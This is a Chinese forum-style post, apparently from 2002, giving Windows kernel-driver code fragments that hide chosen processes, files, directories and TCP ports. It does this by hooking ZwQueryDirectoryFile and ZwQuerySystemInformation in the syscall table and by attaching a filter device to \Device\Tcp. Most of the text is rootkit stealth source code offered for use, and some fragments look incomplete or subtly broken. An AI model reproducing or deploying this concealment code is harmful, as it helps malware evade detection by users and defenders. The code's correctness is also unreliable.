隐藏任意进程,目录/文件,注册表,端口
|
51自学网 http://www.wanshiok.com |
Author: sinister Email: sinister@whitecell.org Homepage:http://www.whitecell.org Date: 2002-05-08
查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下才可修改。关于如何修改已有文章详细介绍过,这里不在详述。(可以参见 sysinternals.com 或 WebCrazy 所写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 //Device//Tcp 与 //Device//Udp。我们可以利用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已经有的老技术。俺现在将它贴出来只不过为了充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文件,端口代码片段。 (注册表操作在 RegMon 中写的很详细,这里就不列出了)
typedef struct _FILETIME { DWORD dwLowDateTime; DWORD dwHighDateTime; }FILETIME;
typedef struct _DirEntry { DWORD dwLenToNext; DWORD dwAttr; FILETIME ftCreate, ftLastAccess, ftLastWrite; DWORD dwUnknown[ 2 ]; DWORD dwFileSizeLow; DWORD dwFileSizeHigh; DWORD dwUnknown2[ 3 ]; WORD wNameLen; WORD wUnknown; DWORD dwUnknown3; WORD wShortNameLen; WCHAR swShortName[ 12 ]; WCHAR suName[ 1 ]; } DirEntry, *PDirEntry;
struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientIs; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason; };
struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; struct _SYSTEM_THREADS Threads[1]; };
// 隐藏目录/文件
NTSTATUS HookZwQueryDirectoryFile( IN HANDLE hFile, IN HANDLE hEvent OPTIONAL, IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, IN PVOID IoApcContext OPTIONAL, OUT PIO_STATUS_BLOCK pIoStatusBlock, OUT PVOID FileInformationBuffer, IN ULONG FileInformationBufferLength, IN FILE_INFORMATION_CLASS FileInfoClass, IN BOOLEAN bReturnOnlyOneEntry, IN PUNICODE_STRING PathMask OPTIONAL, IN BOOLEAN bRestartQuery) { NTSTATUS rc; CHAR aProcessName[80]; ANSI_STRING ansiFileName,ansiDirName; UNICODE_STRING uniFileName; PP_DIR ptr;
WCHAR ParentDirectory[1024] = {0}; int BytesReturned; PVOID Object;
// 执行旧的ZwQueryDirectoryFile函数 rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(hFile,hEvent,IoApcRoutine, IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength, FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);
if(NT_SUCCESS(rc)) { PDirEntry p; PDirEntry pLast; BOOL bLastOne; int found; p = (PDirEntry)FileInformationBuffer; // 将查找出来结果赋给结构 pLast = NULL; do { bLastOne = !( p->dwLenToNext ); RtlInitUnicodeString(&uniFileName,p->suName); RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE); RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE); RtlUpperString(&ansiFileName,&ansiDirName); found=0;
// 在链表中查找是否包含当前目录 for(ptr = list_head; ptr != NULL; ptr = ptr->next) { if (ptr->flag != PTR_HIDEDIR) continue; if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name)) { found=1; break; } }//end for
// 如果链表中包含当前目录,隐藏 if(found) { if(bLastOne) { if(p == (PDirEntry)FileInformationBuffer ) { rc = 0x80000006; //隐藏 } else pLast->dwLenToNext = 0; break; } else { int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer; int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext; RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft ); continue; } } pLast = p; p = (PDirEntry)((char *)p + p->dwLenToNext ); }while( !bLastOne ); RtlFreeAnsiString(&ansiDirName); RtlFreeAnsiString(&ansiFileName); } return(rc); }
// 隐藏进程
NTSTATUS HookZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS rc;
ANSI_STRING process_name,process_uname,process_name1,process_name2; BOOL g_hide_proc = TRUE; CHAR aProcessName[80]; PP_DIR ptr; int found;
// 执行旧的ZwQuerySystemInformation函数
rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))(SystemInformationClass, SystemInformation,SystemInformationLength,ReturnLength );
if(NT_SUCCESS(rc )) { if( g_hide_proc && (5 == SystemInformationClass)) { // 将查找出来结果赋给结构 struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL;
// 遍历进程 while(curr) { if((0 < process_name.Length) && (255 > process_name.Length)) { found=0; // 遍历链表 for(ptr=list_head;ptr!=NULL;ptr=ptr->next ) { if(ptr->flag != PTR_HIDEPROC) continue ; if(memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0) { found =1; } }
// 判断如果是隐藏进程名则覆盖掉此进程名 while(found) { if(prev) { if(curr->NextEntryDelta) { prev->NextEntryDelta += curr->NextEntryDelta; } else { prev->NextEntryDelta = 0; } } else { if(curr->NextEntryDelta) { (char *)SystemInformation += curr->NextEntryDelta; } else { SystemInformation = NULL; } } if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else { curr = NULL;break; } // 遍历链表 found = 0; for (ptr=list_head;ptr!=NULL;ptr=ptr->next ) { if (ptr->flag != PTR_HIDEPROC) continue ; if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0) { found = 1; } } } } if(curr != NULL) { prev = curr; if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } } } } return(rc); }
//隐藏端口
PDEVICE_OBJECT m_TcpgetDevice; PDEVICE_OBJECT TcpDevice; UNICODE_STRING TcpDeviceName; PDRIVER_OBJECT TcpDriver; PDEVICE_OBJECT TcpgetDevice; PDEVICE_OBJECT FilterDevice PDRIVER_DISPATCH Empty; NTSTATUS status;
Empty = DriverObject->MajorFunction[IRP_MJ_CREATE]; RtlInitUnicodeString( &TcpDeviceName, L"//Device//Tcp");
//得到已有的设备指针
status = IoGetDeviceObjectPointer( &TcpDeviceName,FILE_ALL_ACCESS,&FileObject,&TcpDevice);
if(!NT_SUCCESS(status)) { DbgPrint("IoGetDeviceObjectPointer error!/n"); return status; }
DbgPrint("IoGetDeviceObjectPointer ok!/n");
// 建立设备 status = IoCreateDevice( DriverObject,sizeof(DEVICE_EXTENSION),NULL, FILE_DEVICE_UNKNOWN,0,FALSE,&FilterDevice); if(!NT_SUCCESS(status)) { return status; }
// 加入设备
TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);
if(!TcpgetDevice) { IoDeleteDevice(FilterDevice); DbgPrint("IoAttachDeviceToDeviceStack error!/n"); return STATUS_SUCCESS; }
m_TcpgetDevice = TcpgetDevice;
// 加到过滤函数中处理 for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++) { if((TcpDriver->MajorFunction[i]!=Empty)&&(DriverObject->MajorFunction[i]==Empty)) { DriverObject->MajorFunction[i] = PassThrough; } }
ObDereferenceObject(FileObject);
NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { NTSTATUS status; PIO_STACK_LOCATION pIrpStack; pIrpStack = IoGetCurrentIrpStackLocation( Irp );
//如是查询则完成 IRP if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX) { //这里可以近一步判断某个端口 Irp->IoStatus.Status=STATUS_SUCCESS; IoCompleteRequest(Irp,IO_NO_INCREMENT); return STATUS_SUCCESS; }
//复制当前 IRP IoCopyCurrentIrpStackLocationToNext(Irp); IoSetCompletionRoutine( Irp,GenericCompletion,NULL,TRUE,TRUE,TRUE);
//传递 return IoCallDriver( m_TcpgetDevice, Irp); }  
|
|